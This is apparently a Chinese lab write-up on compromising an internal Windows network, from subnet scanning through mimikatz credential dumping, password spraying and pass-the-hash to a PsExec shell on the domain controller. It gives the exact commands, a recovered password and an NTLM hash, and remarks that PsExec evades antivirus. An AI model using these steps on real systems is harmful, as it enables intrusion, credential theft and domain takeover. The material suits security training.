目录
#### 域的定义:将网络中的多台计算机在逻辑上组织到一起,进行集中管理。
从上篇文章拿下10.0.1.4这台服务器后,发展对内网进行攻击,打穿这个内网:
拿下这台电脑,最重要的也就是先信息收集:
先探测下内网主机,再探测下主机端口,这是最简单的方法。
先ipconfig查看下当前ip,是什么ip段
然后上传nmap或其他扫描工具(fscan):nmap 10.0.1.1/24 探测10.0.1.1 - 10.0.1.255
fscan.exe -h 10.0.1.1/24 (默认使用全部模块)fscan.exe -h 10.0.1.1/16 (B段扫描)
发现10.0.1.3、6、8这三台服务器主机存活
然后开始翻一翻本机里面的文件,看看有没有有用的东西:
比如这里有数据库的账号密码:
我们就可以连上数据库
内网很多情况是这样的,内网很多机器,但是管理员可能就是那么几个人,所以各个机器的用户账号密码相同的可能性极高,那么我们如果能获取本机所有用户的密码,就可以看到管理员原本设置的密码。
我们可以利用一个老师强力推荐的内网攻击工具:猕猴桃
privilege::debug 提升权限
sekurlsa::logonpasswords 抓取密码
log 日志会记录内容
需要用管理员身份运行:
响应结果也会在log保留:
这些东西都是这台服务器之前有人用过这些账号密码登陆过的,所以内网其他服务器很有可能也是用这些账户密码(人喜欢方便记忆)
密码喷洒攻击:
针对另外三台主机:
使用的账号密码,可能是1.4中收集到的这些账号密码
于是可以对内网中的其他主机进行密码爆破
到这里时,最好把收集到的信息放到本地进行整理
【因为这远程连接老是掉,太痛苦了】
fscan也有漏扫的功能:例如这里检测到了MS17-010永恒之蓝
?
收集完信息后,就准备进行域渗透了:
域的模型:
? 域管理员 和 普通用户 =》 域控主机 普通主机
拿下域控主机和管理员账号
拿下域控之后,就等于控制了所有加入该域的主机。
接下来我们就去进行对域的渗透攻击:
ipconfig /all:
?
这里如果dns后缀有域名,一般就是在域里,如果没有,一般也没在域里
systeminfo:
域这里有域的信息,workgroup代表工作组,也就是没有在任何域里
net time /domain (需要你有域用户登录主机)
这种情况就说明没有在域里
这台主机不在域中,就需要利用我们信息收集的其他存活主机,利用猕猴桃:
privilege::debug 提升权限
sekurlsa::logonpasswords 抓取密码
然后进行密码喷洒攻击【不需要任何协议,利用心理】去登录其他内网存活主机
这里对10.0.1.8的mstsc:
Administrator woshifengge1.
登录成功
对它继续按照之前的方法信息收集:
看到它在zkaq.cn域,我们这时登录的是本地用户Administrator【线上用户应为zkaq.cn\Administrator】
试试切换为线上用户-》这时woshifengge1.的密码就失败了
我们只能换个方式,去查找域控主机:
=》查找内网的dns服务器,从而确定域控主机
nslookup zkaq.cn
ping zkaq.cn
发现回应的都是 10.0.1.6 ,说明它很有可能就是域控主机的ip【只通过ping还不确定,因为可能域控不是直接使用zkaq.cn,可能是使用子域名。但是nslookup 通常由域控主机ip回应】
可使用查看域控制器的机器名
nltest /DCLIST:域名:
?
DC.zkaq.cn,这样得到的主机一般都是域控主机
再确认一下,10.0.1.6就是我们的域控主机了;
接下来我们就是对域控主机发动攻击:
通过检查域控主机是否存在可利用的漏洞,如果存在可以利用的漏洞,直接对漏洞发动攻击,拿下目标服务器。
还是先对1.8用猕猴桃信息收集一波密码【猕猴桃 抓取 10.0.1.8主机的历史登录记录,可能能获得域用户名和密码。】:
privilege::debug 提升权限
sekurlsa::logonpasswords 抓取密码
但是win server 2008 之后的版本,系统不在明文存储密码,存放的是加密后的数据
NTLM : 61465a991b168727b65b3644aab823cd
SHA1 : 5b48c7f5a5facbb5df950bb501b9da8dcd86db3d
hash理论上不能被破解,但是可以通过类似MD5解密的爆破手法破解
若破解不成功,只能另取它法:
本地登录
远程登录 (rdp)
使用 明文的用户名和密码进行登录的。
网络登录
登录记录,凭证【登录后的特征数据,来去进行身份校验】:
NTLM 协议认证
kerberos 协议认证
哈希传递 的方式实现一个攻击
? 攻击原理: 认证过程中有一个缺陷,可以让我们直接传递密文的hash值,和存储在数据库中的hash值进行比对
1. 用户提供账号密码
1. windows接收到账号密码之后 = > 对密码进行NTLM哈希计算
1. 将加密后的数据 和 电脑中保存的数据进行比较
哈希传递 : 跳过前两步,直接通过 提供加密后的 hash值,让电脑进行比较
我们同样是通过猕猴桃进行哈希传递:
通过得到的NTLM : 61465a991b168727b65b3644aab823cd 明文密码加密后的哈希值
username:administrator
然后执行猕猴桃指令:
privilege::debug 提升权限
sekurlsa::pth /user:administrator /domain:”zkaq.cn” /ntlm:61465a991b168727b65b3644aab823cd
【登陆用户+域地址+ntlm加密值】
我们就登陆到了1.8域zkaq.cn的线上用户:zkaq.cn\administrator
验证:
net time/domain
这是域用户才可以执行的指令
这里就可以看出差异;
通过域用户cmd执行:
dir \DC.zkaq.cn\c$:查看域服务器的目录:
可以查看到C盘就代表着,你有了操作域控的权限
但我此时还只是个成员服务器,我还更想贪心变成域控服务器为所欲为:
这里用一个Windows官方出的工具。[PsExec.exe] 因为官方,所以自带免杀
PsExec.exe \dc.zkaq.cn cmd [他会去调用域控主机的cmd]
我们就拿下了域控服务器
没看够~?欢迎关注!
渗透工具
技术文档、书籍
?
面试题
帮助你在面试中脱颖而出
视频
基础到进阶
环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等
?
应急响应笔记
学习路线